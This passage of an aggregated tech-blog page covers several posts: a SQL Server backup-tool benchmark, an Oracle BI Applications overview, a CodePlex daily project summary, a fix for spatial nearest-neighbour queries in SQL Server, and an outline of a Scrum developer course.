level, delivering tremendous efficiencies and savings as well as revenue growth opportunities as a result of better understanding your customers.  Trevor Naidoo is a senior director in Industry Strategy and Insight at Oracle. 

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• Real tortoises keep it slow and steady. How about the backups?

  - by Maria Zakourdaev

    … Four tortoises were playing in the backyard when they decided they needed hibiscus flower snacks. They pooled their money and sent the smallest tortoise out to fetch the snacks. Two days passed and there was no sign of the tortoise. "You know, she is taking a lot of time", said one of the tortoises. A little voice from just out side the fence said, "If you are going to talk that way about me I won't go." Is it too much to request from the quite expensive 3rd party backup tool to be a way faster than the SQL server native backup? Or at least save a respectable amount of storage by producing a really smaller backup files?  By saying “really smaller”, I mean at least getting a file in half size. After Googling the internet in an attempt to understand what other “sql people” are using for database backups, I see that most people are using one of three tools which are the main players in SQL backup area:  LiteSpeed by Quest SQL Backup by Red Gate SQL Safe by Idera The feedbacks about those tools are truly emotional and happy. However, while reading the forums and blogs I have wondered, is it possible that many are accustomed to using the above tools since SQL 2000 and 2005.  This can easily be understood due to the fact that a 300GB database backup for instance, using regular a SQL 2005 backup statement would have run for about 3 hours and have produced ~150GB file (depending on the content, of course).  Then you take a 3rd party tool which performs the same backup in 30 minutes resulting in a 30GB file leaving you speechless, you run to management persuading them to buy it due to the fact that it is definitely worth the price. In addition to the increased speed and disk space savings you would also get backup file encryption and virtual restore -  features that are still missing from the SQL server. But in case you, as well as me, don’t need these additional features and only want a tool that performs a full backup MUCH faster AND produces a far smaller backup file (like the gain you observed back in SQL 2005 days) you will be quite disappointed. SQL Server backup compression feature has totally changed the market picture. Medium size database. Take a look at the table below, check out how my SQL server 2008 R2 compares to other tools when backing up a 300GB database. It appears that when talking about the backup speed, SQL 2008 R2 compresses and performs backup in similar overall times as all three other tools. 3rd party tools maximum compression level takes twice longer. Backup file gain is not that impressive, except the highest compression levels but the price that you pay is very high cpu load and much longer time. Only SQL Safe by Idera was quite fast with it’s maximum compression level but most of the run time have used 95% cpu on the server. Note that I have used two types of destination storage, SATA 11 disks and FC 53 disks and, obviously, on faster storage have got my backup ready in half time. Looking at the above results, should we spend money, bother with another layer of complexity and software middle-man for the medium sized databases? I’m definitely not going to do so.  Very large database As a next phase of this benchmark, I have moved to a 6 terabyte database which was actually my main backup target. Note, how multiple files usage enables the SQL Server backup operation to use parallel I/O and remarkably increases it’s speed, especially when the backup device is heavily striped. SQL Server supports a maximum of 64 backup devices for a single backup operation but the most speed is gained when using one file per CPU, in the case above 8 files for a 2 Quad CPU server. The impact of additional files is minimal.  However, SQLsafe doesn’t show any speed improvement between 4 files and 8 files. Of course, with such huge databases every half percent of the compression transforms into the noticeable numbers. Saving almost 470GB of space may turn the backup tool into quite valuable purchase. Still, the backup speed and high CPU are the variables that should be taken into the consideration. As for us, the backup speed is more critical than the storage and we cannot allow a production server to sustain 95% cpu for such a long time. Bottomline, 3rd party backup tool developers, we are waiting for some breakthrough release. There are a few unanswered questions, like the restore speed comparison between different tools and the impact of multiple backup files on restore operation. Stay tuned for the next benchmarks.    Benchmark server: SQL Server 2008 R2 sp1 2 Quad CPU Database location: NetApp FC 15K Aggregate 53 discs Backup statements: No matter how good that UI is, we need to run the backup tasks from inside of SQL Server Agent to make sure they are covered by our monitoring systems. I have used extended stored procedures (command line execution also is an option, I haven’t noticed any impact on the backup performance). SQL backup LiteSpeed SQL Backup SQL safe backup database <DBNAME> to disk= '\\<networkpath>\par1.bak' , disk= '\\<networkpath>\par2.bak', disk= '\\<networkpath>\par3.bak' with format, compression EXECUTE master.dbo.xp_backup_database @database = N'<DBName>', @backupname= N'<DBName> full backup', @desc = N'Test', @compressionlevel=8, @filename= N'\\<networkpath>\par1.bak', @filename= N'\\<networkpath>\par2.bak', @filename= N'\\<networkpath>\par3.bak', @init = 1 EXECUTE master.dbo.sqlbackup '-SQL "BACKUP DATABASE <DBNAME> TO DISK= ''\\<networkpath>\par1.sqb'', DISK= ''\\<networkpath>\par2.sqb'', DISK= ''\\<networkpath>\par3.sqb'' WITH DISKRETRYINTERVAL = 30, DISKRETRYCOUNT = 10, COMPRESSION = 4, INIT"' EXECUTE master.dbo.xp_ss_backup @database = 'UCMSDB', @filename = '\\<networkpath>\par1.bak', @backuptype = 'Full', @compressionlevel = 4, @backupfile = '\\<networkpath>\par2.bak', @backupfile = '\\<networkpath>\par3.bak' If you still insist on using 3rd party tools for the backups in your production environment with maximum compression level, you will definitely need to consider limiting cpu usage which will increase the backup operation time even more: RedGate : use THREADPRIORITY option ( values 0 – 6 ) LiteSpeed : use  @throttle ( percentage, like 70%) SQL safe :  the only thing I have found was @Threads option.   Yours, Maria

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• BI Applications overview

  - by sv744

  Welcome to Oracle BI applications blog! This blog will talk about various features, general roadmap, description of functionality and implementation steps related to Oracle BI applications. In the first post we start with an overview of the BI apps and will delve deeper into some of the topics below in the upcoming weeks and months. If there are other topics you would like us to talk about, pl feel free to provide feedback on that. The Oracle BI applications are a set of pre-built applications that enable pervasive BI by providing role-based insight for each functional area, including sales, service, marketing, contact center, finance, supplier/supply chain, HR/workforce, and executive management. For example, Sales Analytics includes role-based applications for sales executives, sales management, as well as front-line sales reps, each of whom have different needs. The applications integrate and transform data from a range of enterprise sources—including Siebel, Oracle, PeopleSoft, SAP, and others—into actionable intelligence for each business function and user role. This blog  starts with the key benefits and characteristics of Oracle BI applications. In a series of subsequent blogs, each of these points will be explained in detail. Why BI apps? Demonstrate the value of BI to a business user, show reports / dashboards / model that can answer their business questions as part of the sales cycle. Demonstrate technical feasibility of BI project and significantly lower risk and improve success Build Vs Buy benefit Don’t have to start with a blank sheet of paper. Help consolidate disparate systems Data integration in M&A situations Insulate BI consumers from changes in the OLTP Present OLTP data and highlight issues of poor data / missing data – and improve data quality and accuracy Prebuilt Integrations BI apps support prebuilt integrations against leading ERP sources: Fusion Applications, E- Business Suite, Peoplesoft, JD Edwards, Siebel, SAP Co-developed with inputs from functional experts in BI and Applications teams. Out of the box dimensional model to source model mappings Multi source and Multi Instance support Rich Data Model    BI apps have a very rich dimensionsal data model built over 10 years that incorporates best practises from BI modeling perspective as well as reflect the source system complexities  Thanks for reading a long post, and be on the lookout for future posts.  We will look forward to your valuable feedback on these topics as well as suggestions on what other topics would you like us to cover. I Conformed dimensional model across all business subject areas allows cross functional reporting, e.g. customer / supplier 360 Over 360 fact tables across 7 product areas CRM – 145, SCM – 47, Financials – 28, Procurement – 20, HCM – 27, Projects – 18, Campus Solutions – 21, PLM - 56 Supported by 300 physical dimensions Support for extensive calendars; Gregorian, enterprise and ledger based Conformed data model and metrics for real time vs warehouse based reporting  Multi-tenant enabled Extensive BI related transformations BI apps ETL and data integration support various transformations required for dimensional models and reporting requirements. All these have been distilled into common patterns and abstracted logic which can be readily reused across different modules Slowly Changing Dimension support Hierarchy flattening support Row / Column Hybrid Hierarchy Flattening As Is vs. As Was hierarchy support Currency Conversion :-  Support for 3 corporate, CRM, ledger and transaction currencies UOM conversion Internationalization / Localization Dynamic Data translations Code standardization (Domains) Historical Snapshots Cycle and process lifecycle computations Balance Facts Equalization of GL accounting chartfields/segments Standardized values for categorizing GL accounts Reconciliation between GL and subledgers to track accounted/transferred/posted transactions to GL Materialization of data only available through costly and complex APIs e.g. Fusion Payroll, EBS / Fusion Accruals Complex event Interpretation of source data – E.g. o    What constitutes a transfer o    Deriving supervisors via position hierarchy o    Deriving primary assignment in PSFT o    Categorizing and transposition to measures of Payroll Balances to specific metrics to support side by side comparison of measures of for example Fixed Salary, Variable Salary, Tax, Bonus, Overtime Payments. o    Counting of Events – E.g. converting events to fact counters so that for example the number of hires can easily be added up and compared alongside the total transfers and terminations. Multi pass processing of multiple sources e.g. headcount, salary, promotion, performance to allow side to side comparison. Adding value to data to aid analysis through banding, additional domain classifications and groupings to allow higher level analytical reporting and data discovery Calculation of complex measures examples: o    COGs, DSO, DPO, Inventory turns  etc o    Transfers within a Hierarchy or out of / into a hierarchy relative to view point in hierarchy. Configurability and Extensibility support  BI apps offer support for extensibility for various entities as automated extensibility or part of extension methodology Key Flex fields and Descriptive Flex support  Extensible attribute support (JDE)  Conformed Domains ETL Architecture BI apps offer a modular adapter architecture which allows support of multiple product lines into a single conformed model Multi Source Multi Technology Orchestration – creates load plan taking into account task dependencies and customers deployment to generate a plan based on a customers of multiple complex etl tasks Plan optimization allowing parallel ETL tasks Oracle: Bit map indexes and partition management High availability support    Follow the sun support. TCO BI apps support several utilities / capabilities that help with overall total cost of ownership and ensure a rapid implementation Improved cost of ownership – lower cost to deploy On-going support for new versions of the source application Task based setups flows Data Lineage Functional setup performed in Web UI by Functional person Configuration Test to Production support Security BI apps support both data and object security enabling implementations to quickly configure the application as per the reporting security needs Fine grain object security at report / dashboard and presentation catalog level Data Security integration with source systems  Extensible to support external data security rules Extensive Set of KPIs Over 7000 base and derived metrics across all modules Time series calculations (YoY, % growth etc) Common Currency and UOM reporting Cross subject area KPIs (analyzing HR vs GL data, drill from GL to AP/AR, etc) Prebuilt reports and dashboards 3000+ prebuilt reports supporting a large number of industries Hundreds of role based dashboards Dynamic currency conversion at dashboard level Highly tuned Performance The BI apps have been tuned over the years for both a very performant ETL and dashboard performance. The applications use best practises and advanced database features to enable the best possible performance. Optimized data model for BI and analytic queries Prebuilt aggregates& the ability for customers to create their own aggregates easily on warehouse facts allows for scalable end user performance Incremental extracts and loads Incremental Aggregate build Automatic table index and statistics management Parallel ETL loads Source system deletes handling Low latency extract with Golden Gate Micro ETL support Bitmap Indexes Partitioning support Modularized deployment, start small and add other subject areas seamlessly Source Specfic Staging and Real Time Schema Support for source specific operational reporting schema for EBS, PSFT, Siebel and JDE Application Integrations The BI apps also allow for integration with source systems as well as other applications that provide value add through BI and enable BI consumption during operational decision making Embedded dashboards for Fusion, EBS and Siebel applications Action Link support Marketing Segmentation Sales Predictor Dashboard Territory Management External Integrations The BI apps data integration choices include support for loading extenral data External data enrichment choices : UNSPSC, Item class etc. Extensible Spend Classification Broad Deployment Choices Exalytics support Databases :  Oracle, Exadata, Teradata, DB2, MSSQL ETL tool of choice : ODI (coming), Informatica Extensible and Customizable Extensible architecture and Methodology to add custom and external content Upgradable across releases

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• CodePlex Daily Summary for Wednesday, June 09, 2010

  CodePlex Daily Summary for Wednesday, June 09, 2010New Projects.NET Transactional File Manager: Transactional File Manager is a .NET API that supports including file system operations such as file copy, move, delete in a transaction. It's an i...3D World Studio Content Pipeline for Windows Phone 7: This is a port of PhotonicGames' project: http://xna3dws.codeplex.com/releases/view/42994 for the Windows Phone 7 tools (XNA 4.0 CTP).Advanced Script Editor for 3D Rad: Advanced Script Editor makes it easier for 3D Rad coders to write scripts. Developed in C#, it features a functions list, a favourites list, object...Ajax ASP.Net Forum: A fast & lightweight open source free forum developed in ASP.Net 3.5, AJAX, CSS, SQL & Javascript Cache (filter-sort-move through table records at ...Axon: Axon is the home automation system that I will be running in my home. It will be a collection of different technologies and projects, often experim...BigBallz: Projeto de site de Bolões para campeonatos diversos. A princípio pensado para copa do mundo de futebol de 2010BigfootMVC: MVC Framework for DotNetNukeBigfootSQL: A StringBuilder for SQL. BigfootSQL was built with simplicity in mind. It assumes that you are comfortable writing SQL but dislike effort required ...Bxf (Basic XAML Framework): Basic Xaml Framework (Bxf) is a simple, streamlined set of UI components designed to demonstrate the minimum framework functionality required to ma...elZerf - elektronische Zeiterfassung: elektronisches Zeiterfassungsystem im Rahmen der Seminararbeit im Modul Web-Anwendungsprogrammierung.IntoFactories.Net - Samples: Project to host samples created by members of the IntoFactories.NET Team blog.Lanchonete: Sistema para controle de lanchonetes. Medieval Dynasties: Medieval Dynasties is a game written in C# 3.5 and XNA 3.1 at the moment. It is inspired by Crusader Kings, Total War and Civilization.PMMsg: A project to replace the standard messaging client on the Windows Mobile platform. Mainly geared towards Windows Mobile 6.5.3 VGA devices. Also an...PunkPong: PunkPong is an open source "Pong" alike game totally written in DHTML (JavaScript, CSS and HTML) that uses keyboard or mouse. This cross-platform a...Renegade Legion Fighter Calculator: In working on assigning fighters to squadrons, flights, and groups for a campaign, I was struck by the sheer amount of calculations I had to make. ...Sharpotify - Spotify .Net Library: Sharpotify is a Spotify library in C#. It is based in Jotify and SharPot projects. It is not a libspotify wrapper, It is a full .Net Spotify protoc...Silverlight load on demand with MEF: With MEF, a Silverlight control can be split in several packages(xap files). Each package can contain one or more pages and it will download on dem...SOLID by example: Source code examples to undestood solid design principles. Most of them were taken from http://www.lostechies.com/SQL Server 2008 Reporting Services RS.EXE Supporting Forms Authentication: A version of RS.EXE that you can use with Forms Authentication in Native Mode. Use the following arguments to specify credentials (just like Basic ...Stripper: Stripper Remove Diacritics and other unwanted caracter to fabric a more standardized file naming.study: studyUncoverPIC: UncoverPIC is a Silverlight Game strongly inspired to the famous Arcade Game "GalsPanic" (see http://en.wikipedia.org/wiki/Gals_Panic ). It was dev...Unity3D Untitled MMO: Unity3D Untitled MMO FrameworkUnnamedShop: UnnamedShopXBStudio.asp.net.automation: A Unit Testing Automation library for asp.netXBStudio.Web: XBStudio Web ApplicationNew Releases3D World Studio Content Pipeline for Windows Phone 7: Initial Release (0.1): This is the first release of the project, with plenty of hackery and kludges to go around, but it mostly works! Let me know if you hit any bugs.Acies: Acies - Alpha Build 0.0.10: Alpha release. Requires Microsoft XNA Framework Redistributable 3.1 (http://www.microsoft.com/downloads/details.aspx?FamilyID=53867a2a-e249-4560-...Advanced Script Editor for 3D Rad: Advanced Script Editor - Version 2.6: Despite various previous releases on the 3D Rad forum, this is the first release on CodePlex.Ajax ASP.Net Forum: First Release: First Release prior to CodePlex Publish (send to admins)So, it doesn't all finish VERSION: 0.1.2 FEATURES Main Home Where all the Forums (called ...Artist Follower for Microsoft Access: Artist Follower 0.5.1: Artists Follower changes: Just one form to manage artists and links!!!Artist Follower for Microsoft Access: Artists Follower 0.5.0: This is the first release of Artist Follower.ASP.NET MVC SiteMap provider - MvcSiteMapProvider: MvcSiteMapProvider 2.0.0 CTP1: This is a community technology preview of MvcSiteMapProvider version 2.0. It is not backwards compatible with older MvcSiteMapProvider versions. ...B&W Port Scanner: Black`n`White Port Scanner 4.0: Version 4 includes: - Improved vulnerability detection tools - Report Creation - Improved Stability - Much better port information database - Nume...BaseCalendar: BaseControls 1.1: BaseControls 1.1 contains the BaseCalendar ASP.NET control. Changes: Rendering TH by default inside THEAD. Added option (ShowMinNumWeeks) to r...BigfootSQL: BigfootSQL Source Code: BigfootSQL C# Version 01Commerce Server 2009 Orders using Pipelines in a Console Application: ConsoleApplication To PLace Orders: ConsoleApplication To PLace Orders with Commerce Server 2009 foundationCommunity Forums NNTP bridge: Community Forums NNTP Bridge V33: Release of the Community Forums NNTP Bridge to access the social and anwsers MS forums with a single, open source NNTP bridge. This release has ad...Community Forums NNTP bridge: Community Forums NNTP Bridge V34: Release of the Community Forums NNTP Bridge to access the social and anwsers MS forums with a single, open source NNTP bridge. This release has ad...ContainerOne - C# application server: V0.1.2.0: New minor release containing: Integration test component for runtime testing Refactored and cleaned solution files First unit testsExtend SmallBasic: Teaching Extensions v.020: Moved Tortoise.approve to ProgramWindow.TakeScreenShot()fleet It: v0.06 Alpha: v0.06 Alpha - Features Caching implemented for fleets Various Bug fixes Implemented Settings. Resolved logical issue with Getting fleets U...Frotz.NET: Frotz.NET B2: In addition to B1 changes: - Added ZTools to enable debugging view of zcode files - Added rudimentary scroll back buffer. B1 Changes: - Got Adapt...FsObserver: FsObserver 2.0: This is basically the same as FsObserver 1.0 but the "-help" documentation has been cleaned up somewhat and the code has been refactored so that it...GPdotNET - Genetic Programming Tool: GPdotNETv1.0: GPdotNET v.1.0 - more details on http.bhrnjica.wordpress.com/gpdotnetHERB.IQ: Alpha 0.1 Source code release 8: Alpha 0.1 Source code release 8imdb movie downloader: myImdb 0.9.3: myImdb 0.9.3imdb movie downloader: myImdb 0.9.4: myImdb 0.9.4jccc .NET smart framework: jccc .NET smart framework version 1.2010.06.07: jccc .NET smart framework version 1.2010.06.07 added oracle databases supportLongBar: LongBar 2.1 Build 313: - Fixed library and updates to work with updated live services - Options: You can disable shadow nowMDownloader: MDownloader-0.15.17.59623: Fixed FileFactory provider. Improvied postpone policies. Added network request limiter.MediaCoder.NET: MediaCoder.NET v1.0 beta 1.1: Installer for MediaCoder.NET v1.0 beta1.1. It can now convert files with spaces in the path or filename. I have also created filter for the SaveFil...MediaCoder.NET: MediaCoder.NET v1.0 beta 1.1 Source Code: Source Code for MediaCoder.NET v1.0 beta 1.1.mesoBoard: mesoBoard - 0.9.1 beta: Fixed file download permissions Released under the New BSD License.MPCLI: Alpha Release (0.1.0.0): This release has core functionality and is considered a potential candidate for a feature complete release of this library. However, suggestions fo...N2 CMS: 2.0: N2 is a lightweight CMS framework for ASP.NET. It helps professional developers build great web sites that anyone can update. Major Changes (1.5 -...NHTrace: NHTrace-47571: NHTrace-47571NodeXL: Network Overview, Discovery and Exploration for Excel: NodeXL Class Libraries, version 1.0.1.125: The NodeXL class libraries can be used to display network graphs in .NET applications. To include a NodeXL network graph in a WPF desktop or Windo...NSoup: NSoup 0.2: NSoup 0.2 corresponds to jsoup version 1.1.1. List of changes can be viewed here.Opalis Community Releases: Integration Pack for Data Manipulation: The Integration Pack for Data Manipulation enables you to perform a wider variety of data manipulation tasks as well as aggregate data into common ...Performance Analysis of Logs (PAL) Tool: PAL v2.0 Beta 1: Fixed Counter Sorting: Fixed a minor bug where duplicate counter expression paths were not being removed. Analysis Added: Added LogicalDisk Read/...RoTwee: RoTwee (12.0.0.0): Trial version. 17925 Make it possible to change window sizeSharpotify - Spotify .Net Library: Sharpotify.Library 1.0: Sharpotify Library: Stable release. You can connect with spotify, search, browse (tracks, albums, artists), get a music stream, create and edit you...Silverlight load on demand with MEF: mal.Web.Silverlight.MEF 1.0.0.0: mal.Web.Silverlight.MEF 1.0.0.0sMAPtool: sMAPtool v0.7e (without Maps): + Added: color value expansion bar for hmap (right click to select color scheme) + Added: more complex hmap editing, uses now 4 point bounding rect...SQL Server 2008 Reporting Services RS.EXE Supporting Forms Authentication: Initial release: Enjoy!Stripper: Stripper 0.1.1 (CLi): Stripper Remove Diacritics and other unwanted caracters to fabric a more standardized file naming. Especially French caracter and maybe other lang...Unity3D Untitled MMO: v1: versionUrzaGatherer: UrzaGatherer 2.01a: New version with some minors bugs corrected.VCC: Latest build, v2.1.30608.0: Automatic drop of latest buildVCC: Latest build, v2.1.30608.1: Automatic drop of latest buildWatermarker.NET: 0.1.3811: A newer version with some improvements. I release this as a .zip archive, because settings are added here, so there will be .exe and .config files.Yet Another GPS: Alfa Release: Alfa working releaseMost Popular ProjectsDozer Enterprise Library for .NETEmployee Management SystemWiiMote PhysicsVisualStudio 2010 JavaScript OutliningSpider CompilerConcurrent CacheOil Slick Live FeedsCSUFVGDC Summer JamWinGetSiteMap Utility for DNN Blog ModuleMost Active ProjectsCommunity Forums NNTP bridgepatterns & practices – Enterprise LibraryRhyduino - Arduino and Managed CodejQuery Library for SharePoint Web ServicesRawrNB_Store - Free DotNetNuke Ecommerce Catalog ModuleAndrew's XNA HelpersBlogEngine.NETStyleCopCustomer Portal Accelerator for Microsoft Dynamics CRM

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• SQL Spatial: Getting “nearest” calculations working properly

  - by Rob Farley

  If you’ve ever done spatial work with SQL Server, I hope you’ve come across the ‘nearest’ problem. You have five thousand stores around the world, and you want to identify the one that’s closest to a particular place. Maybe you want the store closest to the LobsterPot office in Adelaide, at -34.925806, 138.605073. Or our new US office, at 42.524929, -87.858244. Or maybe both! You know how to do this. You don’t want to use an aggregate MIN or MAX, because you want the whole row, telling you which store it is. You want to use TOP, and if you want to find the closest store for multiple locations, you use APPLY. Let’s do this (but I’m going to use addresses in AdventureWorks2012, as I don’t have a list of stores). Oh, and before I do, let’s make sure we have a spatial index in place. I’m going to use the default options. CREATE SPATIAL INDEX spin_Address ON Person.Address(SpatialLocation); And my actual query: WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT l.Name, a.AddressLine1, a.City, s.Name AS [State], c.Name AS Country FROM MyLocations AS l CROSS APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a JOIN Person.StateProvince AS s     ON s.StateProvinceID = a.StateProvinceID JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; Great! This is definitely working. I know both those City locations, even if the AddressLine1s don’t quite ring a bell. I’m sure I’ll be able to find them next time I’m in the area. But of course what I’m concerned about from a querying perspective is what’s happened behind the scenes – the execution plan. This isn’t pretty. It’s not using my index. It’s sucking every row out of the Address table TWICE (which sucks), and then it’s sorting them by the distance to find the smallest one. It’s not pretty, and it takes a while. Mind you, I do like the fact that it saw an indexed view it could use for the State and Country details – that’s pretty neat. But yeah – users of my nifty website aren’t going to like how long that query takes. The frustrating thing is that I know that I can use the index to find locations that are within a particular distance of my locations quite easily, and Microsoft recommends this for solving the ‘nearest’ problem, as described at http://msdn.microsoft.com/en-au/library/ff929109.aspx. Now, in the first example on this page, it says that the query there will use the spatial index. But when I run it on my machine, it does nothing of the sort. I’m not particularly impressed. But what we see here is that parallelism has kicked in. In my scenario, it’s split the data up into 4 threads, but it’s still slow, and not using my index. It’s disappointing. But I can persuade it with hints! If I tell it to FORCESEEK, or use my index, or even turn off the parallelism with MAXDOP 1, then I get the index being used, and it’s a thing of beauty! Part of the plan is here: It’s massive, and it’s ugly, and it uses a TVF… but it’s quick. The way it works is to hook into the GeodeticTessellation function, which is essentially finds where the point is, and works out through the spatial index cells that surround it. This then provides a framework to be able to see into the spatial index for the items we want. You can read more about it at http://msdn.microsoft.com/en-us/library/bb895265.aspx#tessellation – including a bunch of pretty diagrams. One of those times when we have a much more complex-looking plan, but just because of the good that’s going on. This tessellation stuff was introduced in SQL Server 2012. But my query isn’t using it. When I try to use the FORCESEEK hint on the Person.Address table, I get the friendly error: Msg 8622, Level 16, State 1, Line 1 Query processor could not produce a query plan because of the hints defined in this query. Resubmit the query without specifying any hints and without using SET FORCEPLAN. And I’m almost tempted to just give up and move back to the old method of checking increasingly large circles around my location. After all, I can even leverage multiple OUTER APPLY clauses just like I did in my recent Lookup post. WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT     l.Name,     COALESCE(a1.AddressLine1,a2.AddressLine1,a3.AddressLine1),     COALESCE(a1.City,a2.City,a3.City),     s.Name AS [State],     c.Name AS Country FROM MyLocations AS l OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 1000     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a1 OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 5000     AND a1.AddressID IS NULL     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a2 OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 20000     AND a2.AddressID IS NULL     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a3 JOIN Person.StateProvince AS s     ON s.StateProvinceID = COALESCE(a1.StateProvinceID,a2.StateProvinceID,a3.StateProvinceID) JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; But this isn’t friendly-looking at all, and I’d use the method recommended by Isaac Kunen, who uses a table of numbers for the expanding circles. It feels old-school though, when I’m dealing with SQL 2012 (and later) versions. So why isn’t my query doing what it’s supposed to? Remember the query... WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT l.Name, a.AddressLine1, a.City, s.Name AS [State], c.Name AS Country FROM MyLocations AS l CROSS APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a JOIN Person.StateProvince AS s     ON s.StateProvinceID = a.StateProvinceID JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; Well, I just wasn’t reading http://msdn.microsoft.com/en-us/library/ff929109.aspx properly. The following requirements must be met for a Nearest Neighbor query to use a spatial index: A spatial index must be present on one of the spatial columns and the STDistance() method must use that column in the WHERE and ORDER BY clauses. The TOP clause cannot contain a PERCENT statement. The WHERE clause must contain a STDistance() method. If there are multiple predicates in the WHERE clause then the predicate containing STDistance() method must be connected by an AND conjunction to the other predicates. The STDistance() method cannot be in an optional part of the WHERE clause. The first expression in the ORDER BY clause must use the STDistance() method. Sort order for the first STDistance() expression in the ORDER BY clause must be ASC. All the rows for which STDistance returns NULL must be filtered out. Let’s start from the top. 1. Needs a spatial index on one of the columns that’s in the STDistance call. Yup, got the index. 2. No ‘PERCENT’. Yeah, I don’t have that. 3. The WHERE clause needs to use STDistance(). Ok, but I’m not filtering, so that should be fine. 4. Yeah, I don’t have multiple predicates. 5. The first expression in the ORDER BY is my distance, that’s fine. 6. Sort order is ASC, because otherwise we’d be starting with the ones that are furthest away, and that’s tricky. 7. All the rows for which STDistance returns NULL must be filtered out. But I don’t have any NULL values, so that shouldn’t affect me either. ...but something’s wrong. I do actually need to satisfy #3. And I do need to make sure #7 is being handled properly, because there are some situations (eg, differing SRIDs) where STDistance can return NULL. It says so at http://msdn.microsoft.com/en-us/library/bb933808.aspx – “STDistance() always returns null if the spatial reference IDs (SRIDs) of the geography instances do not match.” So if I simply make sure that I’m filtering out the rows that return NULL… …then it’s blindingly fast, I get the right results, and I’ve got the complex-but-brilliant plan that I wanted. It just wasn’t overly intuitive, despite being documented. @rob_farley

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• Professional Scrum Developer (.NET) Training in London

  - by Martin Hinshelwood

  On the 26th - 30th July in Microsoft’s offices in London Adam Cogan from SSW will be presenting the first Professional Scrum Developer course in the UK. I will be teaching this course along side Adam and it is a fantastic experience. You are split into teams and go head-to-head to deliver units of potentially shippable work in four two hour sprints. The Professional Scrum Developer course is the only course endorsed by both Microsoft and Ken Schwaber and they have worked together very effectively in brining this course to fruition. This course is the brain child of Richard Hundhausen, a Microsoft Regional Director, and both Adam and I attending the Trainer Prep in Sydney when he was there earlier this year. He is a fantastic trainer and no matter where you do this course you can be safe in the knowledge that he has trained and vetted all of the teachers. A tools version of Ken if you will Find a course and register Download this syllabus Download the Scrum Guide What is the Professional Scrum Developer course all about? Professional Scrum Developer course is a unique and intensive five-day experience for software developers. The course guides teams on how to turn product requirements into potentially shippable increments of software using the Scrum framework, Visual Studio 2010, and modern software engineering practices. Attendees will work in self-organizing, self-managing teams using a common instance of Team Foundation Server 2010. Who should attend this course? This course is suitable for any member of a software development team – architect, programmer, database developer, tester, etc. Entire teams are encouraged to attend and experience the course together, but individuals are welcome too. Attendees will self-organize to form cross-functional Scrum teams. These teams require an aggregate of skills specific to the selected case study. Please see the last page of this document for specific details. Product Owners, ScrumMasters, and other stakeholders are welcome too, but keep in mind that everyone who attends will be expected to commit to work and pull their weight on a Scrum team. What should you know by the end of the course? Scrum will be experienced through a combination of lecture, demonstration, discussion, and hands-on exercises. Attendees will learn how to do Scrum correctly while being coached and critiqued by the instructor, in the following topic areas: Form effective teams Explore and understand legacy “Brownfield” architecture Define quality attributes, acceptance criteria, and “done” Create automated builds How to handle software hotfixes Verify that bugs are identified and eliminated Plan releases and sprints Estimate product backlog items Create and manage a sprint backlog Hold an effective sprint review Improve your process by using retrospectives Use emergent architecture to avoid technical debt Use Test Driven Development as a design tool Setup and leverage continuous integration Use Test Impact Analysis to decrease testing times Manage SQL Server development in an Agile way Use .NET and T-SQL refactoring effectively Build, deploy, and test SQL Server databases Create and manage test plans and cases Create, run, record, and play back manual tests Setup a branching strategy and branch code Write more maintainable code Identify and eliminate people and process dysfunctions Inspect and improve your team’s software development process What does the week look like? This course is a mix of lecture, demonstration, group discussion, simulation, and hands-on software development. The bulk of the course will be spent working as a team on a case study application delivering increments of new functionality in mini-sprints. Here is the week at a glance: Monday morning and most of the day Friday will be spent with the computers powered off, so you can focus on sharpening your game of Scrum and avoiding the common pitfalls when implementing it. The Sprints Timeboxing is a critical concept in Scrum as well as in this course. We expect each team and student to understand and obey all of the timeboxes. The timebox duration will always be clearly displayed during each activity. Expect the instructor to enforce it. Each of the ½ day sprints will roughly follow this schedule: Component Description Minutes Instruction Presentation and demonstration of new and relevant tools & practices 60 Sprint planning meeting Product owner presents backlog; each team commits to delivering functionality 10 Sprint planning meeting Each team determines how to build the functionality 10 The Sprint The team self-organizes and self-manages to complete their tasks 120 Sprint Review meeting Each team will present their increment of functionality to the other teams = 30 Sprint Retrospective A group retrospective meeting will be held to inspect and adapt 10 Each team is expected to self-organize and manage their own work during the sprint. Pairing is highly encouraged. The instructor/product owner will be available if there are questions or impediments, but will be hands-off by default. You should be prepared to communicate and work with your team members in order to achieve your sprint goal. If you have development-related questions or get stuck, your partner or team should be your first level of support. Module 1: INTRODUCTION This module provides a chance for the attendees to get to know the instructors as well as each other. The Professional Scrum Developer program, as well as the day by day agenda, will be explained. Finally, the Scrum team will be selected and assembled so that the forming, storming, norming, and performing can begin. Trainer and student introductions Professional Scrum Developer program Agenda Logistics Team formation Retrospective Module 2: SCRUMDAMENTALS This module provides a level-setting understanding of the Scrum framework including the roles, timeboxes, and artifacts. The team will then experience Scrum firsthand by simulating a multi-day sprint of product development, including planning, review, and retrospective meetings. Scrum overview Scrum roles Scrum timeboxes (ceremonies) Scrum artifacts Simulation Retrospective It’s required that 